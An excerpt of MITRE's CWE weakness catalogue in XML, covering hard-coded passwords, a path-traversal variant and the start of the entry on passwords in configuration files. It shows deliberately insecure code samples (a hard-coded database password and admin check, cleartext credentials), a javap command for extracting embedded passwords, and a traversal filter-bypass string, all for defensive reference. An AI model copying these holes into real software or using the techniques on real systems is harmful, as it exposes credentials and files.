      <Weakness ID="259" Name="Use of Hard-coded Password" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product contains a hard-coded password, which it uses for its own inbound authentication or for outbound communication to external components.</Description>
         <Extended_Description>
            <xhtml:p>A hard-coded password typically leads to a significant authentication failure that can be difficult for the system administrator to detect. Once detected, it can be difficult to fix, so the administrator may be forced into disabling the product entirely. There are two main variations:</xhtml:p>
            <xhtml:div style="margin-left:1em;">
               <xhtml:div>Inbound: the product contains an authentication mechanism that checks for a hard-coded password.</xhtml:div>
               <xhtml:div>Outbound: the product connects to another system or component, and it contains hard-coded password for connecting to that component.</xhtml:div>
            </xhtml:div>
            <xhtml:p>In the Inbound variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the product. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the product will have the same password, even across different organizations, this enables massive attacks such as worms to take place.</xhtml:p>
            <xhtml:p>The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end product. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="798" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="798" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="798" View_ID="1340" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="321" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="257" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
	    <Technology Class="ICS/OT" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>If hard-coded passwords are used, it is almost certain that malicious users will gain access through the account in question.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Manual Analysis</Method>
               <Description>This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.</Description>
               <Effectiveness_Notes>These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-11.6">
               <Method>Black Box</Method>
               <Description>
                  <xhtml:p>Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.</xhtml:p>
                  <xhtml:p>Attach the monitor to the process and perform a login. Using disassembled code, look at the associated instructions and see if any of them appear to be comparing the input to a fixed string or value.</xhtml:p>
               </Description>
            </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>For outbound authentication: store passwords outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>For inbound authentication: Rather than hard-code a default username and password for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Perform access control checks and limit which entities can access the feature that requires the hard-coded password. For example, a feature might only be enabled through the system console instead of through a network connection.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>For inbound authentication: apply strong one-way hashes to your passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When receiving an incoming password during authentication, take the hash of the password and compare it to the hash that you have saved.</xhtml:p>
                  <xhtml:p>Use randomly assigned salts for each separate hash that you generate. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>For front-end to back-end connections: Three solutions are possible, although none are complete.</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>The first suggestion involves the use of generated passwords which are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals.</xhtml:div>
                     <xhtml:div>Next, the passwords used should be limited at the back end to only performing actions valid for the front end, as opposed to having full access.</xhtml:div>
                     <xhtml:div>Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay style attacks.</xhtml:div>
                  </xhtml:div>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-13">
               <Intro_Text>The following code uses a hard-coded password to connect to a database:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>...<xhtml:br/>DriverManager.getConnection(url, "scott", "tiger");<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the javap -c command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>javap -c ConnMngr.class<xhtml:div style="margin-left:1em;">22: ldc #36; //String jdbc:mysql://ixne.com/rxsql<xhtml:br/>24: ldc #38; //String scott<xhtml:br/>26: ldc #17; //String tiger</xhtml:div>
                  </xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-14">
               <Intro_Text>The following code is an example of an internal hard-coded password in the back-end:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int VerifyAdmin(char *password) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if (strcmp(password, "Mew!")) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 printf("Incorrect Password!\n");<xhtml:br/>return(0)</xhtml:div>
                           </xhtml:div>}<xhtml:br/>printf("Entering Diagnostic Mode...\n");<xhtml:br/>return(1);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>int VerifyAdmin(String password) {<xhtml:div style="margin-left:1em;">if (!password.equals("Mew!")) {<xhtml:div style="margin-left:1em;">return(0)</xhtml:div>}<xhtml:br/>//Diagnostic Mode<xhtml:br/>return(1);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-43">
               <Intro_Text>The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.</Intro_Text>
               <Body_Text>This Java example shows a properties file with a cleartext username / password pair.</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i># Java Web App ResourceBundle properties file</xhtml:i>
                     <xhtml:br/>...<xhtml:br/>webapp.ldap.username=secretUsername<xhtml:br/>webapp.ldap.password=secretPassword<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.</Body_Text>
               <Example_Code Nature="Bad" Language="ASP.NET">
                  <xhtml:div>...<xhtml:br/>&lt;connectionStrings&gt;<xhtml:div style="margin-left:1em;">&lt;add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" /&gt;</xhtml:div>&lt;/connectionStrings&gt;<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-153">
	            <Intro_Text>In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.</Intro_Text>
	            <Body_Text>Multiple vendors used hard-coded credentials in their OT products.</Body_Text>
	         </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-29964</Reference>
               <Description>Distributed Control System (DCS) has hard-coded passwords for local shell access</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-29964</Link>
            </Observed_Example>
	    <Observed_Example>
	      <Reference>CVE-2021-37555</Reference>
	      <Description>Telnet service for IoT feeder for dogs and cats has hard-coded password [REF-1288]</Description>
	      <Link>https://www.cve.org/CVERecord?id=CVE-2021-37555</Link>
	    </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Password Management: Hard-Coded Password</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Use of hard-coded password</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A3</Entry_ID>
               <Entry_Name>Broken Authentication and Session Management</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>MSC03-J</Entry_ID>
               <Entry_Name>Never hard code sensitive information</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP33</Entry_ID>
               <Entry_Name>Hardcoded sensitive data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 19: Use of Weak Password-Based Systems.&#34; Page 279"/>
            <Reference External_Reference_ID="REF-1283"/>
	    <Reference External_Reference_ID="REF-1288"/>
	    <Reference External_Reference_ID="REF-1304"/>
         </References>
         <Notes>
            <Note Type="Maintenance">This entry could be split into multiple variants: an inbound variant (as seen in the second demonstrative example) and an outbound variant (as seen in the first demonstrative example). These variants are likely to have different consequences, detectability, etc. More importantly, from a vulnerability theory perspective, they could be characterized as different behaviors.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-13</Modification_Date>
               <Modification_Comment>Significant description modifications to emphasize different variants.</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Maintenance_Notes, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Maintenance_Notes, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>KDM Analytics</Modification_Name>
               <Modification_Date>2009-07-17</Modification_Date>
               <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns, White_Box_Definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Detection_Factors, Name, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Potential_Mitigations, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, Relationships, White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2010-02-16">Hard-Coded Password</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="26" Name="Path Traversal: '/dir/../filename'" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/dir/../filename" sequences that can resolve to a location that is outside of that directory.</Description>
         <Extended_Description>
            <xhtml:p>This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.</xhtml:p>
            <xhtml:p>The '/dir/../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only checks for "../" at the beginning of the input, so a "/../" can bypass that check.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="23" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Name="Web Server" Prevalence="Often"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5.1">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.</xhtml:p>
                  <xhtml:p>Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>'/directory/../filename</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Leading Directory Dot Dot Slash - '/directory/../filename'</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="260" Name="Password in Configuration File" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product stores a password in a configuration file that might be accessible to actors who do not know the password.</Description>
         <Extended_Description>This can result in compromise of the system for which the password is used. An attacker could gain access to this file and learn the stored password or worse yet, change the password to one of their choosing.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="522" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
